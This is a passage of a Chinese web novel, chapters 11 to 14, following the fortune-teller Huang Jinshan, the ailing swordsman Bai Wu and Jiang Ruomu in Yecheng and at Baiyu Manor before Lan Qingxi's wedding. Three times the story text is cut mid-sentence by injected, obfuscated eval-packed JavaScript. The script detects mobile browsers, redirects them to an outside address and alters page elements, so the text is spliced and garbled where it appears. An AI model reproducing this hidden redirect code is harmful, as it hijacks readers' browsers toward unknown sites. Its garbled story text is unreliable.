翌日,三人又一次启程了。 从翡城去白玉山庄约摸着是两日的日程。 途中他们会在山脚下的冶城停留,这是白五提议的停留点,他在此处有要事。 黄金善认为他们并不急着到达白玉山庄,可在冶城停留两日,一来,白玉山庄之后还不知要去何处,出行处处要花钱,白玉山庄远离城镇,她准备在冶城先摆两日摊,充盈一下他们的裤兜,二来,三人直冲白玉山庄并不合适,既无邀约,哪有横冲直撞人家婚仪的道理,不管是《凌云九式》、兰青溪的婚事、还是黄金善脑子里的天机画面,都是在冶城摸清楚了再出发为宜。 她的提议白五自是首肯,正好也方便他在冶城把事情都办妥当。蒋若木从来是听指挥的,他从出门开始就激动得像是踏青的孩子,左手是他最崇拜的神女黄金善,右手是梦里的大侠白玉春,他闯荡江湖的梦想终于要开始了。 * 马车刚过冶城城界,天空霎时黑云笼罩,下起了瓢泼大雨。 这黑天大雨对其他地方的人来说许是一件厌恶之事,在冶城却并非如此,冶城人视此为吉兆。 原因正是黄金善。 这位冶城人眼里的神女,坐在铺着软垫的马车上,正想着怎么在冶城人身上多赚一点。 她打着哈欠,靠着车窗昏昏欲睡。 窗外大雨倾盆,豆大的雨点已然越过窗缝漏到了她脸上。 马夫掀开帘子,车外的雨声瞬时贯入耳中,他用劲对着三人喊着,“小姐,这雨太大了,路都有些看不清,前方似是有座庙宇,您看可否在那里小歇一二?” 白五看黄金善闭着眼,睡得正沉,便先对马夫说着,“好的,那我们歇息一会儿等雨停,辛苦师傅。” “善儿姐?”蒋若木轻晃了一下黄金善,用手在她眼前挥了挥,“雨声这么大都不醒么,怎么睡得这么沉?” “中了烛龙之毒有时会这样,”白五最是不能忍这雨天,雨水好似钻着他的骨头,丝丝密密的酸疼让他全身无力,马车已到了庙宇的院里,他喘了口气,掀开帘子先出去了,还不忘回头嘱咐蒋若木,“你抱着她下来,找个通风的地方让她歇一会,切忌不能燥热,过一会应该就醒了。” “我还有些事,你们就在此处等着我回来。”说罢,白五径直走向了后院。 蒋若木找了个合适的地方将黄金善放了下来。 他拿来神像前的软垫,给黄金善身下身后垫了一圈,他观她脸上全是细汗,一时找不到什么合适的道具,只能用手给她扇着。 少时,黄金善神色稍缓,突然拽住蒋若木的手腕,努力睁开眼睛道,“别让他走。” 庙外雨声渐歇,晚霞的彩光透过浅灰的云,依稀照着庙宇的前院,此地静谧,唯闻屋檐落水的声音。雨停了。 他显然是已经走了。 11. 天下万民皆系于她 序 水无定,花有尽,会相逢。 可是人生长在别离中。 ——天下万民皆系于她—— “善儿姐你醒了,”蒋若木见黄金善欲起身,便扶住了她,“你都睡了好一会了,白大侠早就走了。” 黄金善还是晕乎乎的,勉强站起了身,端详着她身边的环境。看到脚边的软垫,她才意识到自己所在之处是一间庙宇。 她懊恼,怎么偏偏在此时病发,自己现在这样子,若是白五哪天真的跑了,也拿他没办法。 “你为何如此不放心那白大侠,”蒋若木扶着黄金善慢慢走到庙宇的前殿,“我看那白大侠不是诡计狡诈之人,他说了会回来,应不会骗人的。” “他与我所参的天机关系密切,万不能有失。” “但是白大侠做了那么多善事,肯定是个好人啊,若他知道天机需要他去拯救苍生,他不会推脱吧。” “未必。”黄金善还在向前殿走着,她看蒋若木疑惑的样子,他对白玉春的敬仰是打心底里的,她的想法恐怕是没那么容易说动蒋若木。 天机只那一个画面,她如何知道白玉春在其中,是邪神还是救世主。她虽擅相术,知道白玉春是良善之辈,但人心之所想和身之所为,常常是有差异的。而且,就算白玉春愿意与自己携手,他未必没有比这更重要的事,如今只能时刻看着他,再慢慢破解天机。 “你可知这庙中供奉的是谁?”黄金善终于走到前殿正中,不管此庙由谁坐镇,收留自己这些许时间,总是要拜一下以示感谢。 “我刚没仔细看,这神像似是位女子。” 黄金善抬头看这神像,她想起一些往事。 “这是我。”她向前走近这神像,她想离自己近一些。 “这怎么能看出是你?”蒋若木凑近这神像左看右看,这像的脸如此平平无奇,长脸、长眼、大耳垂,和任何一座庙宇的女性角色都一样,与黄金善没有半分神似。 “看这衣服,”黄金善伸手摸着女神的袖口,群青的大袖旁是翠色的羽毛花纹,“蓝羽秋水织金锦,是我受封明宸郡主,主管司天监时,陛下赏我的官袍。”得知一个闺阁女子的面容很难,也许了解这件蓝羽秋水织金锦,已是当地百姓能做的最大的功课了。 这神像穿的外衣,羽毛花纹一层一层已是华丽非常,却不及她那件蓝羽秋水织金锦半分,那衣的袖口与裙摆,绣满了各色羽毛,在宫里绣娘的巧手下,如浪花般起伏,远看正如一湖秋水缓缓波动。 如此华丽的绣花,再配上以示正统的正蓝和群青,她穿那衣服,静如神桩,定一方安康,动如仙鹤,浮水欲飞天。她之后的女子官服多以此规格复制,却再也没有哪件如蓝羽秋水织金锦一般闻名世间。 为活人建庙宇于风水是大忌,抢了神仙和死人的香火,谁还愿意保佑你呢? “冶城并不似京城那般处处讲究,人们只知有神女救了他们,便建了庙。”白五不知何时回来了,从殿后钻了出来。 她竟不知自己,能得百姓如此爱戴。 替自己的师傅掌司天监后,黄金善常奔波于各地解决民生问题。 冶城曾被视为不祥之城,因其离东南海域不远,却连续三年无雨,实为罕见。冶城人主要依靠矿业为生,当地人不善庄稼种植,研究不出耐旱的作物,三面环山、道路不便,向周围城镇采购粮食价格奇高。 先前的白玉堂、后来的白玉山庄,正坐落在冶城东北面的山上。那时,人们都说是因白玉春之死,上神震怒,便罚冶城三年无雨。 三年来,冶城地方官上书求援不下百次,期初,朝堂上还常有讨论,也试过要求临近城镇为冶城无偿提供粮食援助,但此计无法长久,时间长了,大家也无甚良策,冶城便渐渐又被遗忘了。 眼见朝廷就要抛弃冶城,当地人民几次发生暴乱,但没有粮食支援,没过多久就被官兵镇压了。叛军虽构不成大气候,但陛下考虑冶城乃兵器原材的重要产地之一,便命黄金善去此地看一看。神女出山,纵使改变不了什么,至少也能安抚一下民心。 冶城偏远,条件艰巨,她一女子出行处处是不便。 她在冶城周边视察三日,在城中像模像样做了场法事,给当地民众留下几句话,又传了个信给白玉山庄,她便走了。 她只留了三日,三月后,冶城便下了雨。 “还好当时有你出马,”白五看看神像,又看看她本人,想绷紧嘴角却怎么也做不到,“不然当地人恐怕是要恨死我了。” 黄金善就这样审视地看着白玉春憋笑,又对蒋若木嘱咐,“看住他,别让他再跑了。” “好,我看雨也停了,我们入城寻个客栈吧。”蒋若木扶着黄金善正欲走。 “不必了,既然怕我乱跑,便去我要办事的地方住吧。”白五掀起前殿的帘子,引两人向庙后走去。 两人相视一眼,蒋若木见黄金善眼神首肯,便随白玉春一同走向了庙宇后院。 走出后院,在林中步行约莫半柱香的时间,便看到一处小院落。 此地隐蔽,小屋藏在深山密林之下。 “春哥哥!你怎么又回来了!”院门里跑出个小姑娘,约莫十岁,激动地向白五奔来。 “小四不想我回来嘛?”白五抱起那孩子,揉了揉她脑袋,“我还带回来两位哥哥姐姐陪小四小五玩哦。”说罢,白五指着黄金善和蒋若木介绍起来。 “姐姐好漂亮,像神女。”女孩不要白五抱了,嚷嚷着要黄金善抱。 “好了别淘气,你姚叔在哪呢,让他把老二老三的屋子收拾出来给客人住吧。” “好——”没等白五说完,那女孩又蹦蹦跳跳地跑走了。 “这是慕花锦,在我收养的五个孩子里排行第四,也可以叫他小四,”白五带他们在屋外走了走,“现在还住在这的还有慕相风,排行第五,这孩子比较安静,估计在屋里看书。” “花锦、相风,”黄金善仔细看着这屋内屋外的环境,简约却不简单,各类物件一应俱全,功能齐备,正适合孩子们居住,可见花了不少心思,“好名字,是不是还有个哥哥叫慕无定?” “你这都知道?慕无定是老大。”白五带着他们来到了西边的两间屋子,姚叔正在此处收拾。 “水无定,花有尽,会相逢。” 黄金善的梦里,白玉春的师傅抱着的孩子是两个婴孩,算算年龄,正与屋内这两个孩子相符,他们应该是白玉春两位师傅慕容与程之玄的孩子,老大慕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16289655|182550||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无定,估计是大师傅慕声的孩子。 “两位,这是另外两个孩子原本的住处,因是孩子住的,屋舍不大,两位贵客且将就一下。”姚叔简单收拾了一下,便招呼两人。 “五位孩子三位姓慕,剩下两位该姓廖了吧?”黄金善问着白五,她的五位师傅里,苏凌云尚未婚配,廖无痕应是也有孩子的,她有点好奇两位孩子现在的去处。 “真是什么都瞒不过你,老二老三是廖师傅的孩子,是一对龙凤胎,叫素月、明河,”白五盯着黄金善良久,他不知她是何时知道五个孩子的事儿的,便打趣到,“你知道我养着五个孩子还死活要问我讨那一百两,你不知道养孩子可费钱了。” 黄金善懒得搭理他,她观察着屋内,书桌和妆台上,都放着四枚垒着的铜钱。 “聚四象之气,借兑克巽而生水。”白五摸着桌上的铜钱,“这是你很久之前留给冶城人民的话,他们可是记到如今。” 多年前的往事又涌了上来,当时她怕她一走,冶城人民就不按照她说的做了,便想了此法,让冶城人民牢记她所说的话。 她当时来冶城视察时便发现了无雨的缘由,冶城东南、东北、西南面均有山,西北面则是一大片平原。东北山上有白玉山庄,冶城人民十分敬重,从不在此采矿,故而常常是在西南山采矿,废弃矿石垒到东南山上。 一切相术源于自然运转,作为相术师,黄金善熟知大周国各地地志。大周国的南部城州,夏秋季是主要的雨期,这些水气多从东南海域而来,冶城东南面的山越垒越高、越垒越厚,底层水气进不来,高层水气进来后,又因为西北面是平原,便一路向西北,不会在冶城停留。原本冬季也偶有水气会从西北面而来,却因为他们一直炸西南面的山,失去西南面的阻挡,水气便从西南面又飘走了。 熟知此地地貌,破解无雨之局便毫不困难。 她让冶城人民撤走堆积在东南山上的废弃矿石,此后于东南山采矿,废弃矿石堆积在西北面空地上,形成四方皆山的格局,可挡东南水气从而降雨。 但地貌一事解释起来过于复杂,从东南山运废弃矿石到西北面费时费力,冶城人民恐怕也不相信她一届女流,她干脆留下一句“聚四象之气,借兑克巽而生水”,以风水之事解释她所为。 所谓“四象”,便是喻指让冶城四面环山,她当时想着,冶城采矿量大,矿工人数少说有数千,不出一年就能在西北面堆出小山,保住西北面的庄稼应是没有问题。 没曾想冶城人民把她的话奉为圣旨,只用三月便把西北面的小山堆了出来,正逢夏季,山一出便下了雨。当然,这也是因为她给白玉山庄递的书信起了作用。此事之后,冶城人便奉她为神女,也更是让她在朝堂上名声大噪。 想及此,黄金善突然有些伤感。 朝堂之上,能人异士奇多,地貌之理,那些士大夫岂能不知,只是冶城地处偏远,成事麻烦,却未必有多大功绩,无人在意罢了。 她自认是对百姓有用之人,若她还掌司天监,定州虫害,渝城洪涝,她应都能出上一份力。 可如今她只能拖着这一幅没用的身子,拉着个随时可能没命的病号,破解那个模糊的天机。 但天下万民皆系于她。 12. 杯酒托孤 序 她是不忌讳谈生死的。 但她忌讳他死。 ——杯酒托孤—— 黄金善实在是太累了,用过晚膳就睡下了。 蒋若木倒是兴奋得很,此处离白玉山庄很近,四处都是江湖传奇,他在小屋附近随意闲逛探索着。 白五正在崖边亭子里小酌,他本就备了两个杯子,见蒋若木逛到此处,便招呼他过来。 “白大侠如此闲情逸致,此地很是清幽啊。” 蒋若木在竹藤椅上坐下,山风清爽,树影幽幽,酒香夹杂着林间香气,叫人心旷神怡。 “蒋少爷,我有一事相求。”共饮两杯后,白五如此开口。 “白大侠不必如此客气,你同善儿姐一样叫我若木就好。”蒋若木正在兴头上,与谁都能称兄道弟。 “若木,我知你不拘于那些虚礼,我便直说了。”白五捏着酒杯,他看不清杯中酒的倒影,也知他此时神色不佳。 “你今日也看见了,我在这养着五个孩子,老大年纪不小,武功也甚佳,自个儿出去闯荡了,老二老三都志于江湖,前段时间刚满十四,廖师傅生前基业皆在这白玉山庄,我就把两个孩子给送到白玉山庄去了。” 白五小酌一口,“如今还剩老四老五,他们都是慕家的孩子,慕家在这江湖上前缘太多,他们也不是习武的料。” “小四心思单纯,小五只爱读书,我先前花二百两为他们请了夫子,”看着眼前的丛林山景,他有些不忍开口,“我时日无多了,若我有一天死了……” 说及此处,他转向蒋若木,正经道,“若我死了,能把两个孩子托付给你吗?我知道,以蒋府之力,为孩子找的夫子必是德才兼备,至于小五,我不求他能入仕,只求能随心地凭学识活着,而对于小四来说,从正经人家出去,未来也能觅得良人。” 蒋若木对白五如此托孤很是震惊,但还未做任何答复,白五便又继续说,“你先别急着拒绝,也不必说明日再找你善儿姐商量,我只与你说此事。” “我知道,蒋府如此大树,并不是我这样的人想攀就攀的,我也有我的筹码。”白五见蒋若木眼里已是动容,果真是纯善之辈,他说此话的底气也多了不少,“烛龙之毒是有解药的,我会尽力去寻线索,至于若木你,你若是对武学感兴趣,我可将能传授的尽数传授于你。” “百面剑,我未得师傅原谅,不能传授于人,”白五开始细数自己的家当,“但枯木逢春是我自创的心法,可传授于你,无锋剑也有一套自己的剑法,外人并不知晓,未来可作为你的独门绝技。” 蒋若木的眼睛如今比他的碧玺剑穗还要亮上百倍,但片刻后还是迟疑到,“可是善儿姐那边……” “你放心,她那边不论要做什么,只要不违我心,我一定全力配合。” 他如此说,蒋若木也没什么可拒绝的余地了,两人碰了碰杯,此约定便如此成了。 * 事以密成这一套在蒋若木这里不太行得通。 第二天一早黄金善知道此事,一气之下正在喝粥的手往下重重一摆,碗里的粥震出来半碗。 “白玉春!你敢撬我的人!” 同样正在喝粥的白五很是淡定,他未发一言,旁边的蒋若木赶忙拿布擦起了桌子,给黄金善重新盛好粥和小菜,又护在白五身前,“善儿姐你别生气了,如今白大侠是我师傅,一日为师终身为父,你们俩要是吵起来了我真不知道怎么办。” “嚯,真是不得了了。”黄金善气得很,饭也不吃了,甩开两人,径直上车准备去城里。 两人紧赶慢赶,终于也是挤上了车。 黄金善闭着眼不说话,两人便也默不敢言,连呼吸声都放得低低的。 马车入了城,如今的冶城和从前大不同了,冶城矿物本就丰饶,不缺粮食的情况下,城邦立刻富裕了起来,城中建筑处处恢宏。 连街上的小商贩,桌上都摆着四枚铜钱,富商门前,有些甚至在桌子上摆四枚金币,可见当地百姓已是富足。 马车行至一处布置华丽的布商,黄金善唤车夫停了下来,两人便跟着黄金善下了车。 走进布商,黄金善直接向掌柜问道,“掌柜的,我欲这几日成婚,想采购一些红绸,店内可有?” “哎哟,这位姑娘,这两日白玉山庄庄主也要成婚,本店所有红绸都被兰庄主包了,目前拿不出余布啊。”店主愁到,转瞬神情又变得十分自豪,“本店乃整个冶城最好的布庄,自是先紧着白玉山庄服务,姑娘你若是也要成婚,也可向其他布商采购。” “正是知道贵店是全冶城最好的,我才来此处。”黄金善将白五拉到身边,“我这夫君从小就是个病秧子,如今也时日无多了,这些钱留着也无甚用处,只是想着婚仪能办上最好的。” 说着,她抹起了眼角的泪,手在白五胳膊上重重掐了一把,白五立刻咳个不止,捂嘴的手缝里皆是血丝。 掌柜见此状,很难不动容,“这……可是如今布都已运到山庄去了……” “可我打出生起,就想着婚仪能用上这云锦纹的红绸,在冶城,云锦纹只有贵店才有呢,”这头黄金善还在抹着眼泪,那边白五仍咳个不停,“感情已如此多舛了,如今连这点愿望也实现不了吗?” 掌柜一下手足无措,竟不知回些什么。 黄金善抬眸,见掌柜已在叹气,便继续说道,“白玉山庄可是五天后成婚?若是包下店家您这所有的布料,届时布置好肯定还是有余料的吧,我们屋舍小,用些余料就够。” 掌柜还在思考黄金善的话,黄金善立马就双手握住掌柜的手,“掌柜的,若是您觉得不方便,我们可自行上山去取,我只盼能用上着云锦纹红绸,便是让我去求兰庄主也无妨!” “唉,罢了罢了,姑娘你也是不容易,兰庄主是极和善的人,成婚本就要多沾喜气,你们用些余料她必不会说什么的,”掌柜将手抽出,拍了拍黄金善的手背,“这样,你们五日后直接随我上山去取吧,我会和山庄的人说清情况,这批料子他们已付过钱了,你们直接取走便是,不用再结 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16298933|182550||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 款了。” “小女谢过掌柜大恩。”黄金善作势要拜,掌柜赶紧扶住了她。 “你夫君咳的这样厉害,可要去看看大夫?” 白五整个人咳的面色发白,连黄金善都吓了一跳,只得匆匆作别掌柜,赶紧把白五先扶了出去。 “你没事吧,怎么咳成这样?”白五一直捂着嘴咳,黄金善将他的手掰了下来,眼见手里全是血。 “这不是想演的像些吗,没想到演的有些过了。”白五笑得勉强,黄金善拿出帕子给他擦着手,他却反手握住黄金善的手腕,“能不能不生气了?” 黄金善看着他,她觉得他笑得令人心里酸酸的。她不说话,只是把白五的手继续掰下来擦。 沉默片刻,她又找到了发泄口。“蒋若木!这不是刚认的义父吗,还不赶紧过来扶他上车!” 蒋若木本在一旁小心翼翼地观察两人,听黄金善如此一说,便知她是松口了,赶紧笑脸过来搀扶住白五。 三人上了车,白五面色才稍缓。 “善儿姐你是打算通过这布庄进入婚仪吗?为何不乔装打扮混入?” “怎么混入?我手无缚鸡之力,这人武功尽失,如何过得了白玉山庄层层守卫?我是罪臣之女、你好不容易逃出蒋府、白五不便出现在兰青溪的婚仪上,就算是乔装打扮了,若是被认出来也是麻烦得很。” 况且,白五要找的是武功秘籍,婚仪之时人都聚在前厅,从布庄这混入库房最是方便。 蒋若木想了想,又问到,“那我们这几日干什么呢,可要替你采购黑纱和男子衣物?” “不必了,”黄金善掀起帘子看着马车窗外的城景,笑道,“我再怎么神通,也比不过他们心里的明宸郡主,恐怕靠摆摊算命是赚不到什么钱。” “至于路上的盘缠么,咱们不是还有一批云锦纹红绸嘛,”黄金善在心里向兰青溪道了个歉,最近实在手头紧,倒卖下你的东西,“若木你去打听打听最近冶城有哪几家婚事将近,将新婚夫妇的姓名和住所告诉我,我且算一卦就知道有哪些人会买这红绸了。” 相府出事前,她也是过手过府中庶务的,像白玉山庄这样的大户,为保妥帖,婚仪所用红绸订购必定富余一倍以上,云锦纹红绸可不便宜,如此一趟可有的赚了。 “这……那掌柜不会问起来吧……”蒋若木总觉得此计有些坏心眼。 “无妨,我会去找兰庄主说明的。”毕竟是人家的婚仪用品,不能让兰青溪就这样蒙在鼓里,不过她已经欠了兰青溪一个人情了,多欠一个也无所谓,她有办法还,“至于掌柜么,你就说我伤心太过猝死了,红绸用不上了。” 听到此话,原本正闭眼小憩的白五睁开了眼,“你怎么不说是我死了,我病成这样,不是我死了更合理些吗?” “你情况比我严重多了,”黄金善的话里带着呵斥,“还是给自己嘴上积点德吧!” 离他们的马车不远处,一蒙面侠客也进城了。 冶城的风烟四起,一切好像回到九年前的模样。 13. 相逢何必曾相识 序 自小生在这武林之巅,她见过太多天纵奇才。 论武艺、论谋略,她均无甚天赋。 但若非要以天分论高下,那她便是天生的野心家。 ——相逢何必曾相识—— 三人等待兰庄主婚期的这几日也没闲着。 白五白天给两个孩子找夫子、温习功课,晚上还得教蒋若木枯木逢春。 黄金善又从城里寻来了蜜饯,算着天机山庄的种种,偶尔路过有需要的人家,也给人家做风水师傅,这冶城对女相术师倒是接受得很,黄金善无心插柳还赚了好几笔。 最忙的数蒋若木,白天被黄金善指挥跑来跑去打探消息,晚上被白五指挥一遍一遍不停练着功法。 如此过了两日,正要讨论几日所获之时。 姚叔传来一封信。 是兰青溪的邀约。 到底是小瞧了这武林掌权人。 邀约很简单,无非是请三人上山庄做客,顺便住两日然后参加婚仪。 “你和兰青溪多少年没见过了?”黄金善看过后,把信又递给两人看。 “九年前白玉堂之后便再没见过了,”白五端详着信,“这邀请的人名,第一个怎写的是你?你何时认识的兰青溪?” “不算认识,有缘罢了。” 邀请的三人是黄金善、白五和蒋若木,言下之意,是让白玉春不要在婚仪上出现了。 收起信封。这邀约,他们没有不应的道理。 * 九百九十九级文石台阶托起的白玉山庄,隐藏在飘飘然的云雾之下。 “怪不得掌柜听说你亲自去取就应了,这上去一趟属实不易啊。” 蒋若木在一旁感慨着,以他和白五的轻功上去不太费力。 黄金善则是彻底呆住了。 她突然觉得这邀约也不是没有不应的道理。 黄金善没有迈出步子,两人就这样盯着她看。 但没多久,竟有两人从山上下来,看着是山庄里的学徒,其中一名男孩正声道,“庄主吩咐我们,今日有贵客前来,务必亲自接送。” “顺便练练轻功!”另外一女孩刚说完这话就拽起黄金善的胳膊开始往上跳,双脚在台阶上轻垫两步,便向上飞去。 女孩用另一只手扶住黄金善的肩,黄金善的身体很快得往上飘着,却没有被强烈拉扯的感觉。 不多时,两人就到山庄门前了,那男孩则带着另两人随后到达。 “春哥哥,这下你比我慢了!”小女孩满脸骄傲。 “才来没两个月,进步这么快,行啊,廖素月。”白五一边夸赞一边装模作样地喘着气,这小女孩很是受用。 刚刚在底下黄金善还没来得及端详两个孩子,原来这两位就是廖素月和廖明河。两个孩子咋一看很像,皮肤相当白皙,额间冒出细长的白发,这不似中原人的长相应是遗传了他们父亲廖无痕。细看五官两个孩子还是有些差别,素月一双丹凤眼和弯眉,笑起来眼睛眯成月牙,明河则是平眉、眼睛狭长,虽是弟弟,却比姐姐沉稳很多。廖无痕便最擅轻功,如今两个孩子的轻功也都了得。 “我们已到了,是不是应该先去拜见一下兰庄主。”黄金善想着兰青溪既派人来接,总是要他们去拜见的。 小女孩盯着黄金善上上下下地看,扫视好多遍之后才终于引三人去了庄内。 白玉山庄里不用木头做地基,地面皆是铺的汉白玉,文石组成栏杆与屋舍,各类珠宝点缀其中。坐落于冶城之上,这难以运出的奇异石料,恐是都入了这白玉山庄。白玉山庄,庄如其名。 汉白玉清透白皙,映出几人的倒影。 白色的建筑衬得池内荷花更艳。走过白石铺就的九曲回廊,兰青溪正在亭内等候。 “庄主,人都带来了。” “好,你们去玩吧,我单独和宾客聊聊天。” 这是黄金善第一次见兰青溪,鼻梁高挺,五官流畅,小挑眉之下,柳叶眼深邃又温柔,妥妥江南美人的模样。 也许称霸江湖的女侠需要一张英气的脸,但她不是,她眼里无甚恩怨牵挂,大气谦和的脸下,那眼神透出的是野心。 “你就是白玉春那个新婚的妻子?”兰青溪挑眼看着黄金善。 原来是布商,布商平时没什么存在感,却有渠道通着冶城各家贵户的起居日常,是不错的情报机构,黄金善在心里感叹,她倒是疏忽了。 “兰大侠此番唤我们前来,不会就是为了看我长什么样吧?”黄金善不痛不痒地回着。 兰青溪眼神示意两侧的侍女带白五与蒋若木,此地只剩下她两人。 兰青溪请黄金善坐下喝茶,亭中所见,高山流水,此景甚是难得。 “明宸郡主来这白玉山庄,应是有要事要做吧。” 她为黄金善斟茶,青瓷杯温热,茶却是冰水萃的单从,好品味。 “庄主别唤我明宸了,如今也没什么人这么叫我了。”黄金善喝了口茶,笑道,“也许我只是想看看,与新婚夫君有过前缘的女子,成婚是什么模样呢?” 兰青溪神色严肃,直视黄金善的目光很是认真,黄金善也不回避,依旧是笑着看她。 “明宸郡主不必推诿,我视你为知己,你若有需要,白玉山庄必定相助。” 这话倒是让黄金善奇了,“你我初见,谈何知己?” “早在你六年前修书一封递给白玉山庄时,我便视你为知己。” 那时黄金善知道,仅凭城里百姓自发组织,恐难快速破局,地方官三年无所作为,已失了威信,为确保顺利降雨,最好的方法就是求助白玉山庄。 兰青溪收到那信不过百字,却清楚言明冶城三年无雨的缘由及破局之法,以及冶城治理之道,三月该如何,一年该如何,三年该如何,俱是清晰明了。 递信的人说,这明宸郡主不过十五,兰青溪实在无法相信。从小习剑,她身边就有白玉春这样的天才,如今论治理城邦,竟也有这般少年奇才吗。 “白玉山庄依冶城而立,这信救了无数冶城人民的命,是你帮了我一回,你却说是欠我一个人情。” “靠百姓堆出西北山至少需要一年,三月便降雨是你集结了江湖人士搬运碎石的原因,我占了你这么多年的功劳,可不是欠你一个人情吗。” 话说开了,两人都笑了。 江湖侠义不必书于剑上,兰青溪能够在武林上有一席之地,为人处世必有过人之处,黄金善从来都相信自己的眼光,既是知己,有些话便可敞开了说。 “我此行来白玉山庄,确是有事相求。” 放下茶杯,黄金善便陈明了来意,她要观察白玉山庄各处,判断是否与天机有所关联,兰青溪即刻着手安排,但《凌云九式》,兰青溪却也不知在何处。 “还有一事,兰庄主,”黄金善起身,拜别之时,她筹措着如何开口,“今日得知己坦诚相见,此话可能刺耳,但若不说,我于心有愧。” “郡主但说无妨。” “庄主这婚事,我先前了解不多,在冶城时且算了几卦。”黄金善看着兰青溪的神色,等待着她的反应,“此婚难成,若成了,恐有血光之灾。” 没有黄金善预想中的紧张,兰青溪反而是笑了。 “凡是要成事,便没有不难的。老天总是待我不薄,这不是送来了天下第一相术师来为我解困吗?” 此话一出,黄金善才真觉得自己遇上了可以推心置腹之人。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16304953|182550||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “我与崔郎定亲以来,事事都是阻碍颇多,”兰青溪叹了口气,望向厢房的方向,“凡人活在世上,常道天意难违,但你我皆行这开天辟地之事,应更相信事在人为。” 她此话不是问句,盯着黄金善看的眼神里是不容置疑的首肯。 这人情也是到该还的时候了。 * 黄金善在白玉山庄中走了一圈,未发现有哪出与天机感应强烈,倒是有不少地方设计玄妙,她正计划回房慢慢推算。 才走到住所,蒋若木就像麻雀一样飞了出来。 “我的天!善儿姐!你知道兰庄主的新婚夫君是谁吗!” “崔五郎啊,我前几日就知道了,他入赘了白玉山庄。”没管她的反应,蒋若木就自顾自地在旁边开始叽叽喳喳了,就是因为知道他会这样,黄金善前两日知道的时候才没和他说。 不怪蒋若木惊讶,这崔五郎在京城时便风声颇大,是各家少爷小姐相遇时便都会谈起的对象。 崔五郎便是崔知闲,是兵部崔侍郎家的庶子,行五,故而大家都叫崔五郎。崔侍郎是平民科举起家,中榜时便被当时的户部尚书瞧中做了女婿,到如今,崔家诸事仍然是仰仗着这主母的娘家。崔家本就孩子多,崔五郎又是庶子,家中一应事务主母做主,可想他在家中也是得不了什么脸。 这般身世,本是不会被京城各家贵女注意上的,偏这位崔五郎生了一张可谓惊世的脸,芝兰玉树、貌若潘安。在京城中,形容人貌美从不是与女子作比较,而是与他,能有五分像这崔知闲,便能称得上是美人了。 彼时京城有几户欲招赘的人家都相中崔知闲,其中门户最高的便数黄家。 世人皆知黄相唯有三个女儿,各个身怀绝技,大姐擅制兵械,此爱好太过特殊,家中完全拘不住她,二八年华就跟着她的小将军去了边关,小妹擅相术,八岁便入宫学习,早早就和定国公家的孩子定下了,这招赘的使命便这么落到了她唯擅经商的二姐身上。 当时她二姐被这崔知闲迷得不行,两家也曾议过亲,后又因为崔侍郎反悔,就不了了之了。 也不知是当时筹码给的不够,还是那崔家早知黄相会有此一劫。 “白五呢?”黄金善打断蒋若木,她突然想起来,她身边这位能比上崔知闲美貌八九分的美人,打从进这白玉山庄开始便没说过话。 “师傅在房里休息,他好像有些不适,也不让我去看。” 山上温度低,恐是土中碧毒发了,黄金善吩咐蒋若木去煮药,赶紧推门走了进去。 白五蜷缩在床铺上,他眉头紧锁,此时睡着恐会失温,他强撑着运着内力,额上泛出一层又一层的汗。 黄金善见状,二话不说便又划开了手臂。前些日子在翡城,她发现以毒攻毒确是有些用处,但这几日在冶城,白五都让姚叔煮药,不肯假手于她。 她将手臂递到他嘴边,他紧闭着眼,明明疼痛非常,却强忍着扭开了头,她直接将他的头扭了回来,手掐住他的下颌角,让血从他嘴边流了进去。 少时,白五有了些好转,用手撑着半截身子,脸凑到黄金善的肩旁,“你不必如此,女孩子手上留疤多难看。” “天下第一大侠就这么死了也挺难看的。” “你就当我不忍美人受苦吧。”黄金善见白五不说话,怕刚刚说的话让他伤怀,又这么补充道。 他的眼神已是一日不如一日了,说实话,他不仅从未看清过黄金善,他早都不知道自己如今长什么模样了。 今日进这白玉山庄,处处反光,晃眼得很,却又不敢在兰青溪面前露怯。 说来可笑,故人相见,没有问候,没有怀念,没有欣喜,没有对峙。他只怕她看清他有多狼狈。 14. 掀起红盖头后 序 爬上山峰,然后跌落。拥有一切,然后众叛亲离。 命欲其死而不死,天欲其灭而不灭。历尽劫难而守心,是为证道。 这条路她原以为会很寂寞的。 ——掀起红盖头后—— 在白玉山庄又晃了两日,三人还没发现什么名堂来。 眼见婚期将近了,来往宾客众多,为避人口舌,白五不宜再到处走动,黄金善也开始着手帮忙推进婚事。 “所有的刀剑都要收起来?到时候那么多武林人士,肯定不得行啊!” 黄金善和白玉山庄诸人吩咐着婚仪的事项,白玉山庄能算得上管事的人不少,俱是对这突然冒出来的相术师有些不满。 白玉山庄严格来说并不是一个江湖门派,而是以兰青溪为首,集结了多个门派的武林权利机关。 